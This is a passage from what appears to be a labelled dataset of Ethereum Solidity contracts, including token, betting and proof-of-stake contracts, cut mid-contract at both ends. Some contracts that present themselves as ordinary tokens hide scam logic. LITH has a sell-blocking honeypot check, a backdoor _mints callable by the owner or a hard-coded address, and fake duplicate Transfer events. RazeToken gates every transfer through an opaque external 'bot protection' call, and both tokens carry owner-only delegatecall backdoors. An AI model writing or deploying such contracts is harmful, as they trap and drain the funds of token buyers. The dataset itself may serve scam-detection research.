keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,617 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract RazeToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 120000000000000000000000000;
string public name = "Raze Network";
string public symbol = "RAZE";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 415 |
pragma solidity ^0.4.23;
contract Ethervote {
address feeRecieverOne = 0xa03F27587883135DA9565e7EfB523e1657A47a07;
address feeRecieverTwo = 0x549377418b1b7030381de9aA1319E41C044467c7;
address[] playerAddresses;
uint public expiryBlock;
uint public leftSharePrice = 10 finney;
uint public rightSharePrice = 10 finney;
uint public leftSharePriceRateOfIncrease = 1 finney;
uint public rightSharePriceRateOfIncrease = 1 finney;
uint public leftVotes = 0;
uint public rightVotes = 0;
uint public thePot = 0 wei;
bool public betIsSettled = false;
struct Player {
uint leftShares;
uint rightShares;
uint excessEther;
bool hasBetBefore;
}
mapping(address => Player) players;
constructor() public {
expiryBlock = block.number + 17500;
}
function bet(bool bettingLeft) public payable {
require(block.number < expiryBlock);
if(!players[msg.sender].hasBetBefore){
playerAddresses.push(msg.sender);
players[msg.sender].hasBetBefore = true;
}
uint amountSent = msg.value;
if(bettingLeft){
require(amountSent >= leftSharePrice);
while(amountSent >= leftSharePrice){
players[msg.sender].leftShares++;
leftVotes++;
thePot += leftSharePrice;
amountSent -= leftSharePrice;
if((leftVotes % 15) == 0){
leftSharePrice += leftSharePriceRateOfIncrease;
if(leftVotes <= 45){
leftSharePriceRateOfIncrease += 1 finney;
}else if(leftVotes > 45){
if(leftSharePriceRateOfIncrease > 1 finney){
leftSharePriceRateOfIncrease -= 1 finney;
}else if(leftSharePriceRateOfIncrease <= 1 finney){
leftSharePriceRateOfIncrease = 0 finney;
}
}
}
}
if(amountSent > 0){
players[msg.sender].excessEther += amountSent;
}
}
else{
require(amountSent >= rightSharePrice);
while(amountSent >= rightSharePrice){
players[msg.sender].rightShares++;
rightVotes++;
thePot += rightSharePrice;
amountSent -= rightSharePrice;
if((rightVotes % 15) == 0){
rightSharePrice += rightSharePriceRateOfIncrease;
if(rightVotes <= 45){
rightSharePriceRateOfIncrease += 1 finney;
}else if(rightVotes > 45){
if(rightSharePriceRateOfIncrease > 1 finney){
rightSharePriceRateOfIncrease -= 1 finney;
}else if(rightSharePriceRateOfIncrease <= 1 finney){
rightSharePriceRateOfIncrease = 0 finney;
}
}
}
}
if(amountSent > 0){
if(msg.sender.send(amountSent) == false)players[msg.sender].excessEther += amountSent;
}
}
}
function settleBet() public {
require(block.number >= expiryBlock);
require(betIsSettled == false);
uint winRewardOne = thePot * 2;
winRewardOne = winRewardOne / 20;
if(feeRecieverOne.send(winRewardOne) == false) players[feeRecieverOne].excessEther = winRewardOne;
uint winRewardTwo = thePot * 1;
winRewardTwo = winRewardTwo / 20;
if(feeRecieverTwo.send(winRewardTwo) == false) players[feeRecieverTwo].excessEther = winRewardTwo;
uint winReward = thePot * 17;
winReward = winReward / 20;
if(leftVotes > rightVotes){
winReward = winReward / leftVotes;
for(uint i=0;i<playerAddresses.length;i++){
if(players[playerAddresses[i]].leftShares > 0){
if(playerAddresses[i].send(players[playerAddresses[i]].leftShares * winReward) == false){
players[playerAddresses[i]].excessEther = players[playerAddresses[i]].leftShares * winReward;
}
}
}
}else if(rightVotes > leftVotes){
winReward = winReward / rightVotes;
for(uint u=0;u<playerAddresses.length;u++){
if(players[playerAddresses[u]].rightShares > 0){
if(playerAddresses[u].send(players[playerAddresses[u]].rightShares * winReward) == false){
players[playerAddresses[u]].excessEther = players[playerAddresses[u]].rightShares * winReward;
}
}
}
}else if(rightVotes == leftVotes){
uint rightWinReward = (winReward / rightVotes) / 2;
for(uint q=0;q<playerAddresses.length;q++){
if(players[playerAddresses[q]].rightShares > 0){
if(playerAddresses[q].send(players[playerAddresses[q]].rightShares * rightWinReward) == false){
players[playerAddresses[q]].excessEther = players[playerAddresses[q]].rightShares * rightWinReward;
}
}
}
uint leftWinReward = winReward / leftVotes;
for(uint l=0;l<playerAddresses.length;l++){
if(players[playerAddresses[l]].leftShares > 0){
if(playerAddresses[l].send(players[playerAddresses[l]].leftShares * leftWinReward) == false){
players[playerAddresses[l]].excessEther = players[playerAddresses[l]].leftShares * leftWinReward;
}
}
}
}
betIsSettled = true;
}
function retrieveExcessEther() public {
assert(players[msg.sender].excessEther > 0);
if(msg.sender.send(players[msg.sender].excessEther)){
players[msg.sender].excessEther = 0;
}
}
function viewMyShares(bool left) public view returns(uint){
if(left)return players[msg.sender].leftShares;
return players[msg.sender].rightShares;
}
} | 1 | 4,396 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address _address) public view returns (uint);
function name() public view returns (string _name);
function symbol()public view returns (string _symbol);
function decimals()public view returns (uint8 _decimals);
function totalSupply()public view returns (uint256 _supply);
function transfer(address to, uint value)public returns (bool ok);
function transfer(address to, uint value, bytes data)public returns (bool ok);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event ERC20Transfer(address indexed _from, address indexed _to, uint256 _value, bytes _data);
}
contract ContractReceiver {
function tokenFallback (address _from, uint _value, bytes _data) public;
}
contract PoSTokenStandard {
uint256 public stakeStartTime;
uint256 public stakeMinAge;
uint256 public stakeMaxAge;
function mint() public returns (bool);
function coinAge(address staker) public view returns (uint256);
function annualInterest() public view returns (uint256);
event Mint(address indexed _address, uint _reward);
}
contract BitUnits is ERC20, PoSTokenStandard {
using SafeMath for uint256;
string public name = "BitUnits";
string public symbol = "UNITX";
uint8 public decimals = 8;
uint public chainStartTime;
uint public chainStartBlockNumber;
uint public stakeStartTime;
uint public stakeMinAge = 3 days;
uint public stakeMaxAge = 90 days;
uint public maxMintProofOfStake = 5*10**14 ;
uint public totalSupply;
uint public maxTotalSupply;
uint public totalInitialSupply;
struct transferInStruct{
uint128 amount;
uint64 time;
}
mapping(address => uint256) balances;
mapping(address => transferInStruct[]) transferIns;
modifier canPoSMint() {
require(totalSupply < maxTotalSupply);
_;
}
function UNITX() public {
maxTotalSupply = 10**15;
totalInitialSupply = 5*10**14;
chainStartTime = now;
stakeStartTime = now + 1 days;
chainStartBlockNumber = block.number;
balances[msg.sender] = totalInitialSupply;
totalSupply = totalInitialSupply;
}
function isContract(address _Tokenaddr) private returns (bool is_contract) {
uint length;
assembly {
length := extcodesize( _Tokenaddr)
}
return (length > 0);
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) public returns (bool success) {
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if(msg.sender == _to) return mint();
if(balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
uint64 _now = uint64(now);
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now));
transferIns[_to].push(transferInStruct(uint128(_value),_now));
emit Transfer (msg.sender, _to, _value);
emit ERC20Transfer (msg.sender, _to, _value, _data);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if(msg.sender == _to) return mint();
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
ContractReceiver reciever = ContractReceiver(_to);
reciever.tokenFallback(msg.sender, _value, _data);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
uint64 _now = uint64(now);
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now));
transferIns[_to].push(transferInStruct(uint128(_value),_now));
emit Transfer(msg.sender, _to, _value);
emit ERC20Transfer(msg.sender, _to, _value, _data);
return true;
}
function mint() public canPoSMint returns (bool) {
if(balances[msg.sender] <= 0) return false;
if(transferIns[msg.sender].length <= 0) return false;
uint reward = getProofOfStakeReward(msg.sender);
if(reward <= 0) return false;
totalSupply = totalSupply.add(reward);
balances[msg.sender] = balances[msg.sender].add(reward);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now)));
emit Mint(msg.sender, reward);
return true;
}
function getBlockNumber() public view returns (uint blockNumber) {
blockNumber = block.number.sub(chainStartBlockNumber);
}
function coinAge(address staker) public view returns (uint256) {
return getCoinAge(staker, now);
}
function annualInterest() public view returns(uint interest) {
uint _now = now;
interest = maxMintProofOfStake;
if((_now.sub(stakeStartTime)).div(365 days) == 0) {
interest = (770 * maxMintProofOfStake).div(100);
} else if((_now.sub(stakeStartTime)).div(365 days) == 1){
interest = (435 * maxMintProofOfStake).div(100);
}
}
function getProofOfStakeReward(address _address) internal view returns (uint) {
require( (now >= stakeStartTime) && (stakeStartTime > 0) );
uint _now = now;
uint _coinAge = getCoinAge(_address, _now);
if(_coinAge <= 0) return 0;
uint interest = maxMintProofOfStake;
if((_now.sub(stakeStartTime)).div(365 days) == 0) {
interest = (770 * maxMintProofOfStake).div(100);
} else if((_now.sub(stakeStartTime)).div(365 days) == 1){
interest = (435 * maxMintProofOfStake).div(100);
}
uint offset = 10**uint(decimals);
return (_coinAge * interest).div(365 * offset);
}
function getCoinAge(address _address, uint _now) internal view returns (uint _coinAge) {
if(transferIns[_address].length <= 0) return 0;
for (uint i = 0; i < transferIns[_address].length; i++){
if( _now < uint(transferIns[_address][i].time).add(stakeMinAge) ) continue;
uint nCoinSeconds = _now.sub(uint(transferIns[_address][i].time));
if( nCoinSeconds > stakeMaxAge ) nCoinSeconds = stakeMaxAge;
_coinAge = _coinAge.add(uint(transferIns[_address][i].amount) * nCoinSeconds.div(1 days));
}
}
function balanceOf(address _owner)public view returns (uint balance) {
return balances[_owner];
}
function name() public constant returns (string _name) {
return name;
}
function symbol()public constant returns (string _symbol) {
return symbol;
}
function decimals()public constant returns (uint8 _decimals) {
return decimals;
}
function totalSupply()public constant returns (uint256 _totalSupply) {
return totalSupply;
}
} | 1 | 3,698 |
contract yums {
string public standard = 'Token 0.1';
string public name;
string public symbol;
uint8 public decimals;
uint256 public initialSupply;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
function yums() {
initialSupply = 1000000000000000000000000000;
name ="Yums";
decimals = 18;
symbol = "YUMS";
balanceOf[msg.sender] = initialSupply;
totalSupply = initialSupply;
}
function transfer(address _to, uint256 _value) {
if (balanceOf[msg.sender] < _value) revert();
if (balanceOf[_to] + _value < balanceOf[_to]) revert();
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
}
function () {
revert();
}
} | 1 | 3,874 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract LITH {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,421 |
pragma solidity ^0.5.4;
interface IntVoteInterface {
modifier onlyProposalOwner(bytes32 _proposalId) {revert(); _;}
modifier votable(bytes32 _proposalId) {revert(); _;}
event NewProposal(
bytes32 indexed _proposalId,
address indexed _organization,
uint256 _numOfChoices,
address _proposer,
bytes32 _paramsHash
);
event ExecuteProposal(bytes32 indexed _proposalId,
address indexed _organization,
uint256 _decision,
uint256 _totalReputation
);
event VoteProposal(
bytes32 indexed _proposalId,
address indexed _organization,
address indexed _voter,
uint256 _vote,
uint256 _reputation
);
event CancelProposal(bytes32 indexed _proposalId, address indexed _organization );
event CancelVoting(bytes32 indexed _proposalId, address indexed _organization, address indexed _voter);
function propose(
uint256 _numOfChoices,
bytes32 _proposalParameters,
address _proposer,
address _organization
) external returns(bytes32);
function vote(
bytes32 _proposalId,
uint256 _vote,
uint256 _rep,
address _voter
)
external
returns(bool);
function cancelVote(bytes32 _proposalId) external;
function getNumberOfChoices(bytes32 _proposalId) external view returns(uint256);
function isVotable(bytes32 _proposalId) external view returns(bool);
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256);
function isAbstainAllow() external pure returns(bool);
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max);
}
pragma solidity ^0.5.2;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.4;
interface VotingMachineCallbacksInterface {
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId) external returns(bool);
function burnReputation(uint256 _amount, address _owner, bytes32 _proposalId) external returns(bool);
function stakingTokenTransfer(IERC20 _stakingToken, address _beneficiary, uint256 _amount, bytes32 _proposalId)
external
returns(bool);
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256);
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256);
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256);
}
pragma solidity ^0.5.2;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.4;
contract Reputation is Ownable {
uint8 public decimals = 18;
event Mint(address indexed _to, uint256 _amount);
event Burn(address indexed _from, uint256 _amount);
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
mapping (address => Checkpoint[]) balances;
Checkpoint[] totalSupplyHistory;
constructor(
) public
{
}
function totalSupply() public view returns (uint256) {
return totalSupplyAt(block.number);
}
